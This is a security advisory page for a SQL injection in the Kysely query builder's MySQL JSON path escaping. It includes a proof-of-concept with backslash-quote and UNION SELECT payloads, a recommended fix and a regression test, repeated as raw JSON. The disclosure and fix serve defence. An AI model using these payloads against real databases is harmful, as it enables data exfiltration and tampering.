GHSA-FR9J-6MVQ-FRCV

Vulnerability from github – Published: 2026-03-20 20:48 – Updated: 2026-03-27 20:57
VLAI
Summary
Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.
Details

Summary

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (''') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

  1. JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

  2. During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

  3. DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

  4. sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:

// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

  1. sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
  2. The full compiled path becomes: '$.\'' OR 1=1 --'
  3. MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)
  4. The second ' now terminates the string literal
  5. OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL

Note: PostgreSQL is unaffected because standard_conforming_strings=on (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default BACKSLASH_ESCAPES mode are vulnerable.

Impact

  • SQL Injection: An attacker who can control values passed to the .key() JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.
  • Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.
  • Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via multipleStatements: true) or subquery-based injection can modify or delete data.
  • Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.
  • Scope: Any application using Kysely with MySQL that passes user-controlled input to .key(), .at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.

Recommended Fix

Escape backslashes in addition to single quotes in sanitizeStringLiteral. This neutralizes the bypass in MySQL's BACKSLASH_ESCAPES mode:

// src/query-compiler/default-query-compiler.ts

// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g

// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}

With this fix, the input \' OR 1=1 -- becomes \\'' OR 1=1 --, where MySQL parses \\ as a literal backslash, '' as an escaped quote, and the string literal is never terminated.

Alternatively, the MySQL-specific compiler could override sanitizeStringLiteral to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:

// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
  return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}

A corresponding test should be added to test/node/src/sql-injection.test.ts:

it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
  const injection = `\\' OR 1=1 -- ` as never

  const query = ctx.db
    .selectFrom('person')
    .select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))

  await ctx.db.executeQuery(query)
  await assertDidNotDropTable(ctx, 'person')
})
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.28.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "kysely"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.28.12"
            },
            {
              "fixed": "0.28.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:48:33Z",
    "nvd_published_at": "2026-03-26T17:16:40Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `sanitizeStringLiteral` method in Kysely\u0027s query compiler escapes single quotes (`\u0027` \u2192 `\u0027\u0027`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.\n\n## Details\n\nWhen a user calls `.key(value)` on a JSON path builder, the value flows through:\n\n1. `JSONPathBuilder.key(key)` at `src/query-builder/json-path-builder.ts:166` stores the key as a `JSONPathLegNode` with type `\u0027Member\u0027`.\n\n2. During compilation, `DefaultQueryCompiler.visitJSONPath()` at `src/query-compiler/default-query-compiler.ts:1609` wraps the full path in single quotes (`\u0027$...\u0027`).\n\n3. `DefaultQueryCompiler.visitJSONPathLeg()` at `src/query-compiler/default-query-compiler.ts:1623` calls `sanitizeStringLiteral(node.value)` for string values (line 1630).\n\n4. `sanitizeStringLiteral()` at `src/query-compiler/default-query-compiler.ts:1819-1821` only doubles single quotes:\n\n```typescript\n// src/query-compiler/default-query-compiler.ts:121\nconst LIT_WRAP_REGEX = /\u0027/g\n\n// src/query-compiler/default-query-compiler.ts:1819-1821\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"\u0027\u0027\")\n}\n```\n\nThe `MysqlQueryCompiler` does not override `sanitizeStringLiteral` \u2014 it only overrides `sanitizeIdentifier` for backtick escaping.\n\n**The bypass mechanism:**\n\nIn MySQL\u0027s default `BACKSLASH_ESCAPES` mode, `\\\u0027` inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input `\\\u0027 OR 1=1 --`:\n\n1. `sanitizeStringLiteral` sees the `\u0027` and doubles it: `\\\u0027\u0027 OR 1=1 --`\n2. The full compiled path becomes: `\u0027$.\\\u0027\u0027 OR 1=1 --\u0027`\n3. MySQL parses `\\\u0027` as an escaped quote character (consuming the first `\u0027` of the doubled pair)\n4. The second `\u0027` now terminates the string literal\n5. ` OR 1=1 --` is parsed as SQL, achieving injection\n\nThe existing test at `test/node/src/sql-injection.test.ts:61-83` only tests single-quote injection (`first\u0027 as ...`), which the `\u0027\u0027` doubling correctly prevents. It does not test the backslash bypass vector.\n\n## PoC\n\n```javascript\nimport { Kysely, MysqlDialect } from \u0027kysely\u0027\nimport { createPool } from \u0027mysql2\u0027\n\nconst db = new Kysely({\n  dialect: new MysqlDialect({\n    pool: createPool({\n      host: \u0027localhost\u0027,\n      user: \u0027root\u0027,\n      password: \u0027password\u0027,\n      database: \u0027testdb\u0027,\n    }),\n  }),\n})\n\n// Setup: create a table with JSON data\nawait sql`CREATE TABLE IF NOT EXISTS users (\n  id INT PRIMARY KEY AUTO_INCREMENT,\n  data JSON\n)`.execute(db)\n\nawait sql`INSERT INTO users (data) VALUES (\u0027{\"role\":\"admin\",\"secret\":\"s3cret\"}\u0027)`.execute(db)\n\n// Attack: backslash escape bypass in .key()\n// An application that passes user input to .key():\nconst userInput = \"\\\\\u0027 OR 1=1) UNION SELECT data FROM users -- \" // as never\n\nconst query = db\n  .selectFrom(\u0027users\u0027)\n  .select((eb) =\u003e\n    eb.ref(\u0027data\u0027, \u0027-\u003e$\u0027).key(userInput as never).as(\u0027result\u0027)\n  )\n\nconsole.log(query.compile().sql)\n// Produces: select `data`-\u003e\u0027$.\\\\\u0027\u0027 OR 1=1) UNION SELECT data FROM users -- \u0027 as `result` from `users`\n// MySQL interprets \\\u0027 as escaped quote, breaking out of the string literal\n\nconst results = await query.execute()\nconsole.log(results) // Returns injected query results\n```\n\n**Simplified verification of the bypass mechanics:**\n\n```javascript\nconst { Kysely, MysqlDialect } = require(\u0027kysely\u0027)\n\n// Even without executing, the compiled SQL demonstrates the vulnerability:\nconst compiled = db\n  .selectFrom(\u0027users\u0027)\n  .select((eb) =\u003e\n    eb.ref(\u0027data\u0027, \u0027-\u003e$\u0027).key(\"\\\\\u0027 OR 1=1 --\" as never).as(\u0027x\u0027)\n  )\n  .compile()\n\nconsole.log(compiled.sql)\n// select `data`-\u003e\u0027$.\\\u0027\u0027 OR 1=1 --\u0027 as `x` from `users`\n//                  ^^ MySQL sees this as escaped quote\n//                    ^ This quote now terminates the string\n//                      ^^^^^^^^^^^ Injected SQL\n```\n\n**Note:** PostgreSQL is unaffected because `standard_conforming_strings=on` (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default `BACKSLASH_ESCAPES` mode are vulnerable.\n\n## Impact\n\n- **SQL Injection:** An attacker who can control values passed to the `.key()` JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.\n- **Data Exfiltration:** Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.\n- **Data Modification/Deletion:** If the application\u0027s database user has write permissions, stacked queries (when enabled via `multipleStatements: true`) or subquery-based injection can modify or delete data.\n- **Full Database Compromise:** Depending on MySQL user privileges, the attacker could potentially execute administrative operations.\n- **Scope:** Any application using Kysely with MySQL that passes user-controlled input to `.key()`, `.at()`, or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.\n\n## Recommended Fix\n\nEscape backslashes in addition to single quotes in `sanitizeStringLiteral`. This neutralizes the bypass in MySQL\u0027s `BACKSLASH_ESCAPES` mode:\n\n```typescript\n// src/query-compiler/default-query-compiler.ts\n\n// Change the regex to also match backslashes:\nconst LIT_WRAP_REGEX = /[\u0027\\\\]/g\n\n// Update sanitizeStringLiteral:\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, (match) =\u003e match === \u0027\\\\\u0027 ? \u0027\\\\\\\\\u0027 : \"\u0027\u0027\")\n}\n```\n\nWith this fix, the input `\\\u0027 OR 1=1 --` becomes `\\\\\u0027\u0027 OR 1=1 --`, where MySQL parses `\\\\` as a literal backslash, `\u0027\u0027` as an escaped quote, and the string literal is never terminated.\n\nAlternatively, the MySQL-specific compiler could override `sanitizeStringLiteral` to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don\u0027t need it:\n\n```typescript\n// src/dialect/mysql/mysql-query-compiler.ts\nprotected override sanitizeStringLiteral(value: string): string {\n  return value.replace(/[\u0027\\\\]/g, (match) =\u003e match === \u0027\\\\\u0027 ? \u0027\\\\\\\\\u0027 : \"\u0027\u0027\")\n}\n```\n\nA corresponding test should be added to `test/node/src/sql-injection.test.ts`:\n\n```typescript\nit(\u0027should not allow SQL injection via backslash escape in $.key JSON paths\u0027, async () =\u003e {\n  const injection = `\\\\\u0027 OR 1=1 -- ` as never\n\n  const query = ctx.db\n    .selectFrom(\u0027person\u0027)\n    .select((eb) =\u003e eb.ref(\u0027first_name\u0027, \u0027-\u003e$\u0027).key(injection).as(\u0027x\u0027))\n\n  await ctx.db.executeQuery(query)\n  await assertDidNotDropTable(ctx, \u0027person\u0027)\n})\n```",
  "id": "GHSA-fr9j-6mvq-frcv",
  "modified": "2026-03-27T20:57:45Z",
  "published": "2026-03-20T20:48:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-fr9j-6mvq-frcv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33442"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kysely-org/kysely"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys."
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…